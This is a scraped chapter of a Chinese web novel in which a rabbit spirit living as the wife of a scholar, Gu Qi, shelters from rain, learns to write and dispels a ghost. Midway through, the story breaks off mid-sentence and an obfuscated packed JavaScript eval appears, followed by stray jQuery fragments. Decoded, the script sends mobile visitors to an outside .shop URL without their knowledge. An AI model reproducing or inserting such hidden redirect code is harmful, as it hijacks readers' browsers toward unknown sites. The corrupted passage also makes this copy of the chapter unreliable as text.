文趣网 > 其他小说 > 被兔始乱终弃后 > 12. 第 12 章
    白若繁下意识回头望,姐姐已经登了车,应该淋不着。

    初夏的雨下得很急,在这犹豫的瞬间,雨水便以倾盆的气势砸了下来,白若繁立马跟着顾岐一起往家里跑。

    她倒是不怕淋雨,只是怕这个书生不小心感染风寒。

    到时候姐姐又不许治,光靠这村庄里凡人的医术,恐怕会很难熬。

    顾岐衣袖宽大,几乎把她整个人裹了起来,特别是脑袋。

    白若繁看不清前路,被他一路揽着跑。

    急促雨声从耳旁掠过,白日的热气骤歇,四下里一片凉飕飕,跑动起来更甚。

    还好廊下有屋檐,小跑两步就到,可以暂时躲避。

    顾岐松了手,却发现她还紧紧环抱着自己,像要给雏鸟遮蔽风雨似的。

    彼此相触的地方热度惊人,小兔用力又过猛,勒得慌。

    他垂下头看她。

    白若繁理直气壮地抬起眼与他对视,直勾勾的。

    温热的身体只隔着春衫,抱着很暖和。

    顾岐于是只好抬头,专心看屋檐外的雨势。

    阵雨来得急,檐下雨珠断线似的,落个不停。

    他们的屋子离这儿还有些距离,家里各处忙着把衣物等等收回房内,一时半会儿不会有人来,不如静心躲雨。

    “我们等下去大厨房一趟吧。”白若繁的脑袋趴在他胸前,闷闷道。

    “饿了?”

    顾岐想,她忙着和姐姐说话,早上的饭只吃了几口。

    虽然兔妖不容易饿肚子,但毕竟折腾了一夜一日,或许呢。

    “不是,煮姜汤。”

    大厨房没有药材,姐姐带的补品大多都直接给了顾老太太,但是熬些驱散风寒的汤还是可以的。

    白若繁担忧地看看书生。

    他肤色偏白,天一暗就更显眼,好好穿着衣裳时真是十分文弱。

    方才走来时他把雨都给她挡住了,实在很不明智。

    兔比他可强壮多了,一滴两滴雨,对她来说什么也不是。

    白若繁现在担心顾岐因为逞强不慎发热,能把亏损的症状都勾出来。

    不过白若繁并不打算违背姐姐的叮嘱,她是不会给他找补药的。

    虽然有些奇怪,但姐姐既然说了不许,那肯定是为她好。

    顶多从旁问一问,看看是不是有什么误会。要是误会,解开就好了。

    如此各怀心事,待到雨暂歇,二人进了厨房。

    秋嬷嬷已经在这里起好灶火,见顾岐与白若繁来要姜汤,连忙让他们稍等一会儿。

    “夜里湿凉,本来就要准备姜汤。”

    灶上正烧着水,所需的简单食材也早就备好,不需要他们动手。

    秋嬷嬷大约也没想到一房小夫妻会这样成双成对地赶来,两人离她太近,她做活时旁边有人难免有些不自在,忍不住想偷瞧。

    没见过丈夫大半夜要陪着妻子下厨的,他们俩闹什么呢?

    秋嬷嬷一头雾水,看来看去,只看出两人挨在一处,都是玉砌似的漂亮孩子。

    算了算了,看着开心就好。

    白若繁对秋嬷嬷道了谢,和顾岐退到门口排排站,乖乖等着。

    顾岐看一眼两人脚下短短的影子,莫名想到雨后檐下依偎的雀鸟。

    他任由白若繁摸了一会袖子上的水渍,又过片刻,她犹犹豫豫地,用手肘戳了戳他。

    果然有话要讲。

    “我平时没见你在家里读书呢。”白若繁打算问问未婚夫的心上人,先起个头,等会儿自然地转移话题。

    “嗯。”顾岐认同她的观察,“在书院里看够了。”

    何止是看够了。

    科考所需的经义典籍在他自己儿时的记忆中、在书院教孩子们的记忆中、在随后真正去考场的预知中,反反复复出现,回环重叠宛如轮回一般,再看就要反胃了。

    比起那些,他还是更愿意多看看从未出现过的未来妻子。

    他注意到小繁噎了一下。

    “其实在书院也不看吧……”她小声说,毕竟隔壁章顺背书的时候,他可能在忙着把床挖空。

    哎呀,这么看他荒废学业,之前给顾家人许下的承诺可怎么办呢?

    顾岐笑,并不解释。

    她真正想问的问题应当不是这个。

    “那你作文章吗?作画吗?”白若繁反应很快,迅速把话题扭转,“比如情诗,或者姑娘的画像?”

    “情诗?”顾岐讶然,喃喃道。

    “对呀,腰带渐宽终不悔……这种。”白若繁压低声音,避着秋嬷嬷,很严肃地给他举例子。

    顾岐忍不住抚了一下额角。

    真是一只文盲小兔啊。

    也不知道谁给她念错的这句诗。

    “虽然我们是一见钟情、两情相悦,但是你追求其他姑娘时是不是用上过呢?快想想呀。”

    白若繁叽里咕噜说了一大堆,最后抛出问题依旧直白。

    她怕太委婉又有误会。

    顾岐把她的每个字都听懂了,连在一起却感到难以理解。

    大约是她姐姐走之前单独给小繁说的小话。

    秋嬷嬷这时也扭过头来,姜汤好了。

    两个人提着食盒在月色下慢慢地走,顾岐斟酌再三:

    “我从未喜欢过别的姑娘,从前家里谈过亲事,祖母做主,并没有成。”

    “小繁想检查画像或诗作,可以去屋里书箱搜一搜。”

    白若繁高兴地点头。

    她准备过两天去县里跟姐姐说。

    回到房中,白若繁督促着顾岐把又辣又烫的姜汤全喝光,才开始翻他的书箱。

    有十几册是他当教书先生用的书,上面许多描红批注,字又多又密,整齐排列着,看得白若繁头晕目眩。

    更多的书籍,还有手抄本,据顾岐说来是游记逸闻,记录的是鬼怪奇事,也算科考用书,只是杂了些。

    白若繁翻来翻去,意识到自己完全没办法判断他的话是真是假。

    没找到一目了然的画像,光看字还不是顾岐说什么就是什么?

    不行不行,不够严谨。

    白若繁把书一推,让顾岐教她学字。

    顾岐先把灯芯拨得亮堂,然后找了干净的宣纸,在上面落笔。

    他写了她的名字。

    白、若、繁,在小兔看来是三组画,越画越黑,最后糊成一团。

    白若繁勉强记了一遍,拿笔在下边对应着画。

    两笔两只耳朵,再有一笔身子一笔头,上面加上一蓬草。

    这个就是小繁兔子的意思。

    不过耳朵很圆很短,刻意变形画得不像兔,白若繁不担心他认出来。

    妖也有妖语,也会自创图案。

    只不过大部分时候妖的族群内部成员少,需要表意的东西不多,不发展这么复杂的文字。

    就像白若繁家里只有一只等在草窝里的兔子,所以这画就能代表她。

    顾岐认真看她落笔,而后学着画了一遍。

    笔画转折轻重一致,几笔之间位置错落相同,竟然学了个十足十,除了兔子耳朵没画对,其余都像是白若繁自己写的名字。

    白若繁悚然后悔,险些让他学会兔的名号。

    她不太

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17836679|211459||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    服气,让顾岐写他的名字,自己也要学。

    练到长得一样,以后要是惹了她,就用他的签字去借钱。

    白若繁与毛笔墨水较劲许久,顾岐在身后温声给她解释人类文字象形的比喻。

    “……岐为山支,连绵起伏是山形,手拿半边竹是枝条。”

    路有分岔,想走下去就必须选择。

    白若繁听得昏昏欲睡。

    顾岐的声音温润清朗,好听是好听,但太平和,如同在哄兔入眠。

    白若繁强撑着脸,从涂鸦的墨色中抬起头,搁下笔。

    “睡觉。”

    谁让凡人的字那么多,她还要慢慢学慢慢研究才行。

    一个晚上学不了多少的,白若繁在放过自己这方面做得也很好。

    她扑上去抱住顾岐,想贴一下书生肌肤的温度,看他有没有发烧。

    碰到的地方微微发烫。

    顾岐侧开脸,突如其来的馨香盈了满怀,差点将他撞倒。

    他后退一步,用指腹揩掉白若繁脸上细微的墨点。

    “睡觉睡觉!”小兔妖双手挥舞几下,准备把他捉到自己的被窝里暖着。

    “小繁睡里间吧,我在外边竹榻。”

    顾岐冷静道,他并不觉得应该继续与她乱缠。

    依他推测,小兔最需要的是暂时提供身份,也不在意什么终身大事,看她方才问他心仪姑娘的态度就知道了。

    等身份办妥,她姐姐巴不得带着小繁离他十万八千里罢。

    顾岐只想在这之前多与她相处,不能用会上瘾的方式。

    那是徒添烦恼。

    “外面没有被子……”白若繁不懂他为何突然冷淡,本来就困的脑袋更懵了。

    “柜中都有准备。”

    白若繁眼睁睁看着顾岐转身,难得没有起身跟上去,皱眉坐在床上思考。

    她现在怀疑书生说谎,姐姐的话才是对的。

    毕竟书上的字,那些红批,她可一个都不认识!

    顾岐想怎么教就怎么教,这不公平。

    长夜沾湿,白若繁没了睡意,翻身从窗户出去,在院子里踱步。

    ——当然了,没受伤的兔还不是到处乱跑,谁能管得着。

    走着走着,听见接连几声凄厉的喊叫,似怖似怨,相当吓人。

    白若繁停下步伐。

    大房那边,二堂嫂出事了。

    白若繁赶到的时候余金玉正缩在墙角,脸色苍白如纸,拼命想要挖个坑钻进地下。

    空气中飘着一只血皮的邪祟,眼睛剥落在外,淌着血泪。

    这比白若繁在山上见到的要小。

    凡人看不出什么,二堂兄以为余金玉只是梦魇,跑出去喊大夫了。

    “你、你——”

    余金玉喉头哽塞,一句话也说不明白,就见一阵风冲到自己面前。

    嘎吱一声,白若繁徒手拍扁了地上掉着的香囊。

    邪祟转眼消失。

    余金玉浑身松了劲,哆哆嗦嗦倒进白若繁怀中,白日里骄傲的模样没有了,颤抖着道谢。

    “二堂嫂,你这香囊从哪里来的?”小兔很疑惑,但还是礼貌保留了余金玉坚持的称呼,喊了嫂嫂。

    余金玉抿着唇不言语,她不敢说是找来备孕的偏方之一。

    旁边紧挨着的厅堂房屋渐次放亮,家里的人都赶来了。

    顾岐到得最早,长发未束好,冲到小繁身边。

    他的心快要跳出胸膛,生平第一次如此惶恐不安。

    与她有关的事是不可预测的。

    “哼。”白若繁退开一步,认真拉开距离。